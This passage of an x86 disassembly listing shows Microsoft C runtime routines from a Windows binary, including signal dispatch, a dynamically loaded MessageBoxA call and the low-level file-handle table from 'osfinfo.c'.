loc_432E2C:				; CODE XREF: sub_432DA0+56j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_432DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432E40	proc near		; CODE XREF: sub_4250B0+2E7p
					; sub_435A60+Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		sub	ecx, 2
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 14h
		ja	loc_432F0E
		mov	eax, [ebp+var_20]
		xor	edx, edx
		mov	dl, byte_433062[eax]
		jmp	off_43304A[edx*4]


loc_432E78:				; DATA XREF: .XComp0:off_43304Ao
		mov	[ebp+var_18], offset dword_4E940C
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	loc_432F16
; ---------------------------------------------------------------------------


loc_432E95:				; CODE XREF: sub_432E40+31j
					; DATA XREF: .XComp0:00433056o
		mov	[ebp+var_18], offset dword_4E9410
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_432F16
; ---------------------------------------------------------------------------


loc_432EAF:				; CODE XREF: sub_432E40+31j
					; DATA XREF: .XComp0:0043305Ao
		mov	[ebp+var_18], offset dword_4E9414
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_432F16
; ---------------------------------------------------------------------------


loc_432EC9:				; CODE XREF: sub_432E40+31j
					; DATA XREF: .XComp0:00433052o
		mov	[ebp+var_18], offset dword_4E9418
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_432F16
; ---------------------------------------------------------------------------


loc_432EE3:				; CODE XREF: sub_432E40+31j
					; DATA XREF: .XComp0:0043304Eo
		call	sub_42B630
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433080
		add	esp, 8
		add	eax, 8
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		jmp	short loc_432F16
; ---------------------------------------------------------------------------


loc_432F0E:				; CODE XREF: sub_432E40+20j
					; sub_432E40+31j
					; DATA XREF: ...
		or	eax, 0FFFFFFFFh
		jmp	loc_433046
; ---------------------------------------------------------------------------


loc_432F16:				; CODE XREF: sub_432E40+50j
					; sub_432E40+6Dj ...
		cmp	[ebp+var_C], 0
		jz	short loc_432F26
		push	1
		call	sub_425990
		add	esp, 4


loc_432F26:				; CODE XREF: sub_432E40+DAj
		cmp	[ebp+var_1C], 1
		jnz	short loc_432F43
		cmp	[ebp+var_C], 0
		jz	short loc_432F3C
		push	1
		call	sub_425A30
		add	esp, 4


loc_432F3C:				; CODE XREF: sub_432E40+F0j
		xor	eax, eax
		jmp	loc_433046
; ---------------------------------------------------------------------------


loc_432F43:				; CODE XREF: sub_432E40+EAj
		cmp	[ebp+var_1C], 0
		jnz	short loc_432F60
		cmp	[ebp+var_C], 0
		jz	short loc_432F59
		push	1
		call	sub_425A30
		add	esp, 4


loc_432F59:				; CODE XREF: sub_432E40+10Dj
		push	3
		call	sub_421820


loc_432F60:				; CODE XREF: sub_432E40+107j
		cmp	[ebp+arg_0], 8
		jz	short loc_432F72
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_432F72
		cmp	[ebp+arg_0], 4
		jnz	short loc_432F9E


loc_432F72:				; CODE XREF: sub_432E40+124j
					; sub_432E40+12Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+54h]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+54h], 0
		cmp	[ebp+arg_0], 8
		jnz	short loc_432F9E
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+58h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+58h], 8Ch


loc_432F9E:				; CODE XREF: sub_432E40+130j
					; sub_432E40+149j
		cmp	[ebp+arg_0], 8
		jnz	short loc_432FE0
		mov	eax, dword_452A90
		mov	[ebp+var_10], eax
		jmp	short loc_432FB7
; ---------------------------------------------------------------------------


loc_432FAE:				; CODE XREF: sub_432E40+19Cj
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_432FB7:				; CODE XREF: sub_432E40+16Cj
		mov	edx, dword_452A90
		add	edx, dword_452A94
		cmp	[ebp+var_10], edx
		jge	short loc_432FDE
		mov	eax, [ebp+var_10]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_432FAE
; ---------------------------------------------------------------------------


loc_432FDE:				; CODE XREF: sub_432E40+186j
		jmp	short loc_432FE9
; ---------------------------------------------------------------------------


loc_432FE0:				; CODE XREF: sub_432E40+162j
		mov	eax, [ebp+var_18]
		mov	dword ptr [eax], 0


loc_432FE9:				; CODE XREF: sub_432E40:loc_432FDEj
		cmp	[ebp+var_C], 0
		jz	short loc_432FF9
		push	1
		call	sub_425A30
		add	esp, 4


loc_432FF9:				; CODE XREF: sub_432E40+1ADj
		cmp	[ebp+arg_0], 8
		jnz	short loc_433010
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_1C]
		add	esp, 8
		jmp	short loc_43301A
; ---------------------------------------------------------------------------


loc_433010:				; CODE XREF: sub_432E40+1BDj
		mov	eax, [ebp+arg_0]
		push	eax
		call	[ebp+var_1C]
		add	esp, 4


loc_43301A:				; CODE XREF: sub_432E40+1CEj
		cmp	[ebp+arg_0], 8
		jz	short loc_43302C
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_43302C
		cmp	[ebp+arg_0], 4
		jnz	short loc_433044


loc_43302C:				; CODE XREF: sub_432E40+1DEj
					; sub_432E40+1E4j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_14]
		mov	[ecx+54h], edx
		cmp	[ebp+arg_0], 8
		jnz	short loc_433044
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+58h], ecx


loc_433044:				; CODE XREF: sub_432E40+1EAj
					; sub_432E40+1F9j
		xor	eax, eax


loc_433046:				; CODE XREF: sub_432E40+D1j
					; sub_432E40+FEj
		mov	esp, ebp
		pop	ebp
		retn
sub_432E40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_43304A	dd offset loc_432E78	; DATA XREF: sub_432E40+31r
		dd offset loc_432EE3
		dd offset loc_432EC9
		dd offset loc_432E95
		dd offset loc_432EAF
		dd offset loc_432F0E
byte_433062	db 0			; DATA XREF: sub_432E40+2Br
		db 5
		dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433080	proc near		; CODE XREF: .XComp0:00432D00p
					; sub_432E40+B6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_43308A:				; CODE XREF: sub_433080+31j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+arg_0]
		jz	short loc_4330B3
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, dword_452A9C
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_4330B3
		jmp	short loc_43308A
; ---------------------------------------------------------------------------


loc_4330B3:				; CODE XREF: sub_433080+13j
					; sub_433080+2Fj
		mov	eax, dword_452A9C
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_4330D5
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4330D5
		mov	eax, [ebp+var_4]
		jmp	short loc_4330D7
; ---------------------------------------------------------------------------


loc_4330D5:				; CODE XREF: sub_433080+43j
					; sub_433080+4Ej
		xor	eax, eax


loc_4330D7:				; CODE XREF: sub_433080+53j
		mov	esp, ebp
		pop	ebp
		retn
sub_433080	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_42B630
		add	eax, 58h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4330F0	proc near		; CODE XREF: .XComp0:00434A69p
		push	ebp
		mov	ebp, esp
		call	sub_42B630
		add	eax, 54h
		pop	ebp
		retn
sub_4330F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433100	proc near		; CODE XREF: sub_4250B0+2CEp
					; sub_432590+1B0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		cmp	dword_4E9420, 0
		jnz	short loc_433173
		push	offset aUser32_dll_0 ; "user32.dll"
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_433147
		push	offset aMessageboxa ; "MessageBoxA"
		mov	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27F0281h
		mov	dword_4E9420, eax
		cmp	dword_4E9420, 0
		jnz	short loc_43314B


loc_433147:				; CODE XREF: sub_433100+28j
		xor	eax, eax
		jmp	short loc_4331B7
; ---------------------------------------------------------------------------


loc_43314B:				; CODE XREF: sub_433100+45j
		push	offset aGetactivewindo ; "GetActiveWindow"
		mov	ecx, [ebp+var_8]
		push	ecx
		nop
		call	near ptr 27F0281h
		mov	dword_4E9424, eax
		push	offset aGetlastactivep ; "GetLastActivePopup"
		mov	edx, [ebp+var_8]
		push	edx
		nop
		call	near ptr 27F0281h
		mov	dword_4E9428, eax


loc_433173:				; CODE XREF: sub_433100+14j
		cmp	dword_4E9424, 0
		jz	short loc_433185
		call	dword_4E9424	; GetActiveWindow
		mov	[ebp+var_4], eax


loc_433185:				; CODE XREF: sub_433100+7Aj
		cmp	[ebp+var_4], 0
		jz	short loc_4331A1
		cmp	dword_4E9428, 0
		jz	short loc_4331A1
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4E9428	; GetLastActivePopup
		mov	[ebp+var_4], eax


loc_4331A1:				; CODE XREF: sub_433100+89j
					; sub_433100+92j
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_4E9420	; MessageBoxA


loc_4331B7:				; CODE XREF: sub_433100+49j
		mov	esp, ebp
		pop	ebp
		retn
sub_433100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4331C0	proc near		; CODE XREF: .XComp0:loc_433652p
					; sub_433B40:loc_433DD9p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	[ebp+var_8], 0FFFFFFFFh
		push	12h
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_4331EA
; ---------------------------------------------------------------------------


loc_4331E1:				; CODE XREF: sub_4331C0:loc_43338Bj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_4331EA:				; CODE XREF: sub_4331C0+1Fj
		cmp	[ebp+var_C], 40h
		jge	loc_433390
		mov	ecx, [ebp+var_C]
		cmp	dword_4E95A0[ecx*4], 0
		jz	loc_4332F6
		mov	edx, [ebp+var_C]
		mov	eax, dword_4E95A0[edx*4]
		mov	[ebp+var_4], eax
		jmp	short loc_43321D
; ---------------------------------------------------------------------------


loc_433214:				; CODE XREF: sub_4331C0+F1j
					; sub_4331C0:loc_4332E1j
		mov	ecx, [ebp+var_4]
		add	ecx, 24h
		mov	[ebp+var_4], ecx


loc_43321D:				; CODE XREF: sub_4331C0+52j
		mov	edx, [ebp+var_C]
		mov	eax, dword_4E95A0[edx*4]
		add	eax, 480h
		cmp	[ebp+var_4], eax
		jnb	loc_4332E6
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jnz	loc_4332E1
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_433289
		push	11h
		call	sub_425990
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_43327F
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		nop
		call	near ptr 2970537h
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx


loc_43327F:				; CODE XREF: sub_4331C0+A1j
		push	11h
		call	sub_425A30
		add	esp, 4


loc_433289:				; CODE XREF: sub_4331C0+8Ej
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		call	near ptr 7C901005h
		nop
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_4332B6
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		nop
		call	near ptr 7C9010EDh
		jmp	loc_433214
; ---------------------------------------------------------------------------


loc_4332B6:				; CODE XREF: sub_4331C0+E2j
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		sub	eax, dword_4E95A0[edx*4]
		cdq
		mov	esi, 24h
		idiv	esi
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_4332E6
; ---------------------------------------------------------------------------


loc_4332E1:				; CODE XREF: sub_4331C0+81j
		jmp	loc_433214
; ---------------------------------------------------------------------------


loc_4332E6:				; CODE XREF: sub_4331C0+6Fj
					; sub_4331C0+11Fj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4332F1
		jmp	loc_433390
; ---------------------------------------------------------------------------


loc_4332F1:				; CODE XREF: sub_4331C0+12Aj
		jmp	loc_43338B
; ---------------------------------------------------------------------------


loc_4332F6:				; CODE XREF: sub_4331C0+3Fj
		push	79h
		push	offset aOsfinfo_c ; "osfinfo.c"
		push	2
		push	480h
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_433389
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dword_4E95A0[eax*4], ecx
		mov	edx, dword_4E96A0
		add	edx, 20h
		mov	dword_4E96A0, edx
		jmp	short loc_43333C
; ---------------------------------------------------------------------------


loc_433333:				; CODE XREF: sub_4331C0+1B2j
		mov	eax, [ebp+var_4]
		add	eax, 24h
		mov	[ebp+var_4], eax


loc_43333C:				; CODE XREF: sub_4331C0+171j
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4E95A0[ecx*4]
		add	edx, 480h
		cmp	[ebp+var_4], edx
		jnb	short loc_433374
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+8], 0
		jmp	short loc_433333
; ---------------------------------------------------------------------------


loc_433374:				; CODE XREF: sub_4331C0+18Fj
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_4336D0
		add	esp, 4


loc_433389:				; CODE XREF: sub_4331C0+153j
		jmp	short loc_433390
; ---------------------------------------------------------------------------


loc_43338B:				; CODE XREF: sub_4331C0:loc_4332F1j
		jmp	loc_4331E1
; ---------------------------------------------------------------------------


loc_433390:				; CODE XREF: sub_4331C0+2Ej
					; sub_4331C0+12Cj ...
		push	12h
		call	sub_425A30
		add	esp, 4
		mov	eax, [ebp+var_8]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4331C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4333B0	proc near		; CODE XREF: .XComp0:00433683p
					; sub_433B40+379p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E96A0
		jnb	loc_43344A
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jnz	short loc_43344A
		cmp	dword_44FF44, 1
		jnz	short loc_43342A
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jz	short loc_433402
		cmp	[ebp+var_4], 1
		jz	short loc_433410
		cmp	[ebp+var_4], 2
		jz	short loc_43341E
		jmp	short loc_43342A
; ---------------------------------------------------------------------------


loc_433402:				; CODE XREF: sub_4333B0+42j
		mov	edx, [ebp+arg_4]
		push	edx
		push	0FFFFFFF6h
		call	near ptr 278082Fh
		nop
		jmp	short loc_43342A
; ---------------------------------------------------------------------------


loc_433410:				; CODE XREF: sub_4333B0+48j
		mov	eax, [ebp+arg_4]
		push	eax
		push	0FFFFFFF5h
		nop
		call	near ptr 278082Fh
		jmp	short loc_43342A
; ---------------------------------------------------------------------------


loc_43341E:				; CODE XREF: sub_4333B0+4Ej
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0FFFFFFF4h
		nop
		call	near ptr 278082Fh


loc_43342A:				; CODE XREF: sub_4333B0+36j
					; sub_4333B0+50j ...
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4E95A0[edx*4]
		mov	edx, [ebp+arg_4]
		mov	[ecx+eax], edx
		xor	eax, eax
		jmp	short loc_433463
; ---------------------------------------------------------------------------


loc_43344A:				; CODE XREF: sub_4333B0+Dj
					; sub_4333B0+2Dj
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_433463:				; CODE XREF: sub_4333B0+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_4333B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433470	proc near		; CODE XREF: sub_425440+69p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E96A0
		jnb	loc_43352B
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_43352B
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4E95A0[edx*4]
		cmp	dword ptr [ecx+eax], 0FFFFFFFFh
		jz	short loc_43352B
		cmp	dword_44FF44, 1
		jnz	short loc_43350A
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jz	short loc_4334E8
		cmp	[ebp+var_4], 1
		jz	short loc_4334F4
		cmp	[ebp+var_4], 2
		jz	short loc_433500
		jmp	short loc_43350A
; ---------------------------------------------------------------------------


loc_4334E8:				; CODE XREF: sub_433470+68j
		push	0
		push	0FFFFFFF6h
		call	near ptr 278082Fh
		nop
		jmp	short loc_43350A
; ---------------------------------------------------------------------------


loc_4334F4:				; CODE XREF: sub_433470+6Ej
		push	0
		push	0FFFFFFF5h
		nop
		call	near ptr 278082Fh
		jmp	short loc_43350A
; ---------------------------------------------------------------------------


loc_433500:				; CODE XREF: sub_433470+74j
		push	0
		push	0FFFFFFF4h
		nop
		call	near ptr 278082Fh


loc_43350A:				; CODE XREF: sub_433470+5Cj
					; sub_433470+76j ...
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	dword ptr [edx+ecx], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_433544
; ---------------------------------------------------------------------------


loc_43352B:				; CODE XREF: sub_433470+Dj
					; sub_433470+33j ...
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_433544:				; CODE XREF: sub_433470+B9j
		mov	esp, ebp
		pop	ebp
		retn
sub_433470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433550	proc near		; CODE XREF: sub_425440+9p
					; sub_425440+24p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E96A0
		jnb	short loc_43359B
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_43359B
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4E95A0[edx*4]
		mov	eax, [ecx+eax]
		jmp	short loc_4335B4
; ---------------------------------------------------------------------------


loc_43359B:				; CODE XREF: sub_433550+Cj
					; sub_433550+2Ej
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_4335B4:				; CODE XREF: sub_433550+49j
		pop	ebp
		retn
sub_433550	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	byte ptr [ebp-0Ch], 0
		mov	eax, [ebp+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_4335DD
		mov	cl, [ebp-0Ch]
		or	cl, 20h
		mov	[ebp-0Ch], cl


loc_4335DD:				; CODE XREF: .XComp0:004335D2j
		mov	edx, [ebp+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_4335F2
		mov	al, [ebp-0Ch]
		or	al, 80h
		mov	[ebp-0Ch], al


loc_4335F2:				; CODE XREF: .XComp0:004335E8j
		mov	ecx, [ebp+0Ch]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_433608
		mov	dl, [ebp-0Ch]
		or	dl, 10h
		mov	[ebp-0Ch], dl


loc_433608:				; CODE XREF: .XComp0:004335FDj
		mov	eax, [ebp+8]
		push	eax
		nop
		call	near ptr 2790000h
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_433632
		nop
		call	near ptr 27B0F7Fh
		push	eax
		call	sub_42C140
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_4336C0
; ---------------------------------------------------------------------------


loc_433632:				; CODE XREF: .XComp0:00433619j
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_433643
		mov	cl, [ebp-0Ch]
		or	cl, 40h
		mov	[ebp-0Ch], cl
		jmp	short loc_433652
; ---------------------------------------------------------------------------


loc_433643:				; CODE XREF: .XComp0:00433636j
		cmp	dword ptr [ebp-4], 3
		jnz	short loc_433652
		mov	dl, [ebp-0Ch]
		or	dl, 8
		mov	[ebp-0Ch], dl


loc_433652:				; CODE XREF: .XComp0:00433641j
					; .XComp0:00433647j
		call	sub_4331C0
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0FFFFFFFFh
		jnz	short loc_43367B
		call	sub_42C1E0
		mov	dword ptr [eax], 18h
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4336C0
; ---------------------------------------------------------------------------


loc_43367B:				; CODE XREF: .XComp0:0043365Ej
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_4333B0
		add	esp, 8
		mov	dl, [ebp-0Ch]
		or	dl, 1
		mov	[ebp-0Ch], dl
		mov	eax, [ebp-8]
		sar	eax, 5
		mov	ecx, [ebp-8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	al, [ebp-0Ch]
		mov	[edx+ecx+4], al
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_433760
		add	esp, 4
		mov	eax, [ebp-8]


loc_4336C0:				; CODE XREF: .XComp0:0043362Dj
					; .XComp0:00433679j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4336D0	proc near		; CODE XREF: sub_4253C0+50p
					; sub_429A00+50p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_433731
		push	11h
		call	sub_425990
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_433727
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		nop
		call	near ptr 2970537h
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx


loc_433727:				; CODE XREF: sub_4336D0+39j
		push	11h
		call	sub_425A30
		add	esp, 4


loc_433731:				; CODE XREF: sub_4336D0+26j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		nop
		call	near ptr 7C901005h
		mov	esp, ebp
		pop	ebp
		retn
sub_4336D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433760	proc near		; CODE XREF: sub_4253C0+6Bp
					; sub_429A00+73p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	near ptr 7C9010EDh
		nop
		pop	ebp
		retn
sub_433760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433790	proc near		; CODE XREF: sub_4255E0+2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E96A0
		jnb	short loc_4337C1
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_4337D4


loc_4337C1:				; CODE XREF: sub_433790+Dj
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_43385E
; ---------------------------------------------------------------------------


loc_4337D4:				; CODE XREF: sub_433790+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4336D0
		add	esp, 4
		mov	eax, [ebp+arg_0]
